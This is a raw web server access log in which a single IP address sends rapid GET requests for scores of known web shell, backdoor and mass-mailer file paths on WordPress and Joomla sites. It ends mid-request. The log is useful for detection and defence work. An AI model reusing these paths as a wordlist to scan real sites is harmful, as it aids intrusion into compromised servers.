52.169.149.126 - - [18/Apr/2025:19:47:57 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:57 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:58 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:59 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:00 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:01 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:01 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:02 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:03 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:04 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:04 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:05 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:06 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:07 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:07 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:08 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:09 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:10 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:11 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:12 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:12 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:14 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:15 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:16 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:17 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:18 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:19 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:20 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:21 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:21 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:22 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:23 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:25 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:26 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:27 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:28 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:29 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:31 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:31 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:32 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:33 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:34 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:34 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:35 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:36 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:36 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:37 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:38 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:39 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:40 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:41 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:41 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:43 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:43 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:45 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:47 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:48 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:49 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:51 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:53 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:54 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:54 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:55 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:56 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:57 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:58 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:58 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:48:59 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:00 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:01 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:02 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:03 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:04 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:04 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:05 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:07 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:09 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:11 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:12 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:14 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:16 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:18 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:19 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:20 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:21 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:22 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:23 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:25 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:26 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:27 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:28 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:29 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:30 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:31 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:32 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:32 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:33 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:34 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:34 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:35 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:36 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:36 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:37 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:38 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:39 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:39 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:40 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:41 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:41 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:42 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:43 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:43 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:44 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:45 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:45 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:46 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:47 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:47 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:48 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:49 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:49 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:50 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:51 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:52 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:53 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:53 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:54 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:54 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:55 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:56 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:56 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:57 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:58 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:58 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:59 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:49:59 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:00 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:01 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:01 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:02 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:02 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:03 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:05 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:10 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:11 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:13 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:14 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:17 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:18 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:21 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:23 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:24 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:25 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:26 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:26 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:28 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:29 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:30 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:30 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:31 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:32 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:33 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:34 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:34 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:35 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:36 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:37 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:38 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:39 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:39 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:40 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:41 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:43 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:45 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:47 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:48 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:49 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:50 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:52 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:53 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:53 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:55 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:55 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:57 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:50:59 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:00 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:01 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:02 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:04 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:05 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:06 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:07 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:08 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:09 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:12 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:13 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:14 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:14 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:15 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:17 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:17 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:19 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:22 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:23 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:23 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:24 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:25 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:25 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:26 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:27 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:28 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:28 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:29 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:30 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:31 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:32 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:32 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:33 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:34 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:35 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:36 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:37 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:39 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:40 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:41 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:41 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:43 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:44 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:45 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:46 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:46 -0400] "GET /wp-content/plugins/zedd/1.php 